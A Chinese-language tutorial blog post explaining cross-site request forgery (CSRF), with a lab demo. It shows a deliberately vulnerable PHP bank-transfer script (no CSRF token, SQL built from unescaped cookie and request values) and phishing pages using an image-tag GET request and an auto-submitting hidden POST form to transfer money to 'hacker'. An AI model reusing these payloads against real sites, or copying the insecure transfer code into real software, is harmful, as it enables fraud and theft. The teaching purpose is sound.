vlambda博客
学习文章列表

4.1跨站点请求伪造(CSRF)

CSRF简介

  • CSRF( Cross-Site Request Forgery)是指跨站请求伪造,也常常被称为“ One Click Attack或者“ Session Riding”,通常缩写为CSRF或是XSRF。

  • 虽然CSRF听起来像XSS跨站脚本攻击,但CSRF与XSS的攻击方式完全不同。

  • CSRF与XSS相比,虽然CSRF攻击不太流行,但却更加难以防范,所以被认为CSRF比XSS更具危险性,CSRF在业内具有“苏醒的巨人”的称号。

  • 可以这么理解CSRF攻击:

    攻击者盗用了你的身份,以你的名义进行某些非法操作。
    CSRF能够使用你的账户发送邮件,获取你的敏感信息,甚至盗走你的财产。

CSRF攻击原理

会话的产生、使用、结束

  • 当我们打开或登录某个网站后,浏览器与网站所存放的服务器将会产生一个会话

  • 在这个会话没有结束时,你就可以利用你的权限对网站进行某些操作,如:发表文章、发送邮件、删除文章等。

  • 当这个会话结束后,你再进行某些操作的时候,Web应用程序可能会提示你“您的会话已过期”、“请重新登录”等提示。

会话的案例

  • 登录网上银行后,浏览器已经跟可信的站点建立了一个经过认证的会话。

  • 之后,所有通过这个经过认证的会话发送请求,都被视为可信的动作,例如,转账、汇款等操作。

  • 当我们在一段时间内不进行操作后,经过认证的会话可能会断开,再次进行转账、汇款操作时,这个站点可能会提示你:您的身份已过期,请重新登录、会话已结束等信息。

CSRF攻击是建立在会话之上的

  • 当你登录了网上银行,正在进行转账业务,

  • 这时你的某个QQ好友(攻击者)发来一条消息(URL),这条消息是攻击者精心构造的转账业务代码,而且与你所登录的是同一家网络银行,

  • 你可能认为这个网站是安全的,然而当你打开了这条URL后,你账户中的余额可能会全部丢失。

总结

  • 因为你的浏览器正处于与此网站的会话之中,那么任何操作都是合法的,

  • 而攻击者构造的这段代码只不过是正常的转账操作代码而已

CSRF攻击案例

攻击案例

bank server的转账代码

<?php
include './config.inc.php';
if(isset($_COOKIE['username'])){
var_dump($_REQUEST);
var_dump($_COOKIE);

$from['name']=$_COOKIE['username'];
$to['name']=$_REQUEST['username'];
$money=$_REQUEST['money'];

var_dump($from);
var_dump($to);
var_dump($money);

//对转账主体的操作,查金额,减少金额
$link = mysqli_connect($db_host,$db_user,$db_psd,$db_name);
$sql_from = "select money from member where name='{$from['name']}'";
//echo $sql_from ;
$results = mysqli_query($link,$sql_from);
$result=mysqli_fetch_assoc($results);
$from['money']=$result['money'];

$from['money']-=$money;

$sql_from ="update member set money='{$from['money']}' where name='{$from['name']}'";
mysqli_query($link,$sql_from);

//对转账客体操作,查金额,增加数据
$sql_to="select money from member where name='{$to['name']}'";
$results=mysqli_query($link,$sql_to);
$result=mysqli_fetch_assoc($results);
$to['money']=$result['money'];

$to['money']+=$money;

$sql_to ="update member set money='{$to['money']}' where name='{$to['name']}'";
mysqli_query($link,$sql_to);
//写入转账记录

$sql_r="insert into record(from_name,to_name,money)values('{$from['name']}','{$to['name']}','{$money}')";
mysqli_query($link,$sql_r);

header("Location:./self.php");

}else{
echo "Error!";
}

?>
  • 主要是username、money的值,代表给username转账money

第一步:环境搭建

第二步 test登录bank server,查看自己的金额

4.1跨站点请求伪造(CSRF)

第三步 test同时访问hack server服务器上的钓鱼网站

4.1跨站点请求伪造(CSRF)


第四步 test用户点击钓鱼网站的链接

第五步 test再次查看自己的金额,发现金额减少

代码分析

钓鱼网站的首页index.html

<meta charset='utf-8'>
<img src='./1.jpg'><br />
<a href='get.html' style='color:red;font-size:100px'>屠龙宝刀,点击就送 通道一</a><br />
<a href='post.html' style='color:red;font-size:100px'>屠龙宝刀,点击就送 通道二</a><br />

通道一:使用get方式提交:get.html

meta charset='utf-8'>
<img src='./1.jpg'><br />
<img src='http://192.168.146.147/bank/action.php?
username=hacker&money=100&submit=%E4%BA%A4%E6%98%93'
alt='宝刀在手,谁与争锋'>
  • src=..表示跳转到转账界面

  • username=hacker代表转账的对方名称

  • money=100代表转账的金额

  • submit=submit代表提交

通道二:使用post方式提交:post.html

<meta charset='utf-8'>
<form name='csrf' action='http://192.146.147/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'>
</form>
<script>document.csrf.submit()</script>
<img ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手,谁与争锋</a><br />

总结

  • CSRF的攻击建立在浏览器与Web服务器的会话中

  • 欺骗用户访问URL

摘抄


若无其事,

原来是最好的报复;

何必向不值得的人证明什么,

生活得更好,

是为了自己。